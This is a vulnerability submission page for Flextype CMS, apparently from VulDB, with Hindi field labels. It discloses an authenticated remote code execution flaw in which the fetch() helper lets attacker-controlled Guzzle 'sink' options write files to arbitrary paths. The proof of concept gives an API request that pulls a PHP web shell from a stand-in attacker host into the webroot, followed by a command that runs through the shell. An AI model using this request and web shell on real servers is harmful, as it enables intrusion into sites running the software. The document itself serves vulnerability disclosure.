| शीर्षक | Flextype Flextype CMS 1.0.0-alpha.3 Authenticated Remote Code Execution (RCE) via Arbitrary File Wri |
|---|
| विवरण | # Flextype `fetch()` — Guzzle `sink` RCE
**Severity:** Critical
**Type:** Authenticated Arbitrary File Write → RCE
**CWE:** CWE-73, CWE-434, CWE-94, CWE-918, CWE-862
## Summary
`fetch()` passes attacker-controlled `$options` directly into Guzzle. Guzzle’s `sink` option writes the HTTP response body to an arbitrary path. Attacker controls URL + body + path → arbitrary file write → RCE.
## Vulnerable Code
`src/flextype/helpers/fetch.php:78-88`
```php
$response = $client->send($request, $options); // $options used as REQUEST options
```
Guzzle `StreamHandler::createSink():301`
```php
// string $options['sink'] opened as file for writing
// response body streamed into it
```
## Reachability
- `POST /api/v1/query` via `fetch(...)` expression
- Stored `fetch` shortcode (`FetchShortcode.php:43-46`, `parse_str` no allowlist)
- Shortcodes enabled globally by default
- `validateApiRequest()` has no scope model — any valid token pair reaches the endpoint
## PoC
Attacker host returns:
```php
<?php echo '<?php echo shell_exec($_GET["c"]); ?>';
```
Request:
```http
POST /api/v1/query
```
```json
{
"token": "<token>",
"access_token": "<secret>",
"query": {
"v": "fetch(\"http://attacker.example/p\", {\"sink\":\"/var/www/html/rce_proof.php\"})"
}
}
```
Result:
```bash
$ cat /var/www/html/rce_proof.php
<?php echo shell_exec($_GET["c"]); ?>
$ curl "http://localhost/rce_proof.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## Impact
- Arbitrary command execution as web user
- One authenticated request
- No stored payload or user interaction
- Works even if webroot is read-only: write to `project/plugins/` or overwrite `project/config/flextype/settings.yaml`
- Low-privileged integration token is sufficient
|
|---|
| स्रोत | ⚠️ https://gist.github.com/stoic-crawler/f30059336e08dda174faa309320760d7 |
|---|
| उपयोगकर्ता | silverdragon (UID 101041) |
|---|
| सबमिशन | 13/10/2026 03:04 AM (24 दिन पहले) |
|---|
| संयम | 04/11/2026 07:17 PM (23 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 396879 [Flextype तक 1.0.0-dev Symfony ExpressionLanguage Engine /api/v1/query अधिकार वृद्धि] |
|---|
| अंक | 0 |
|---|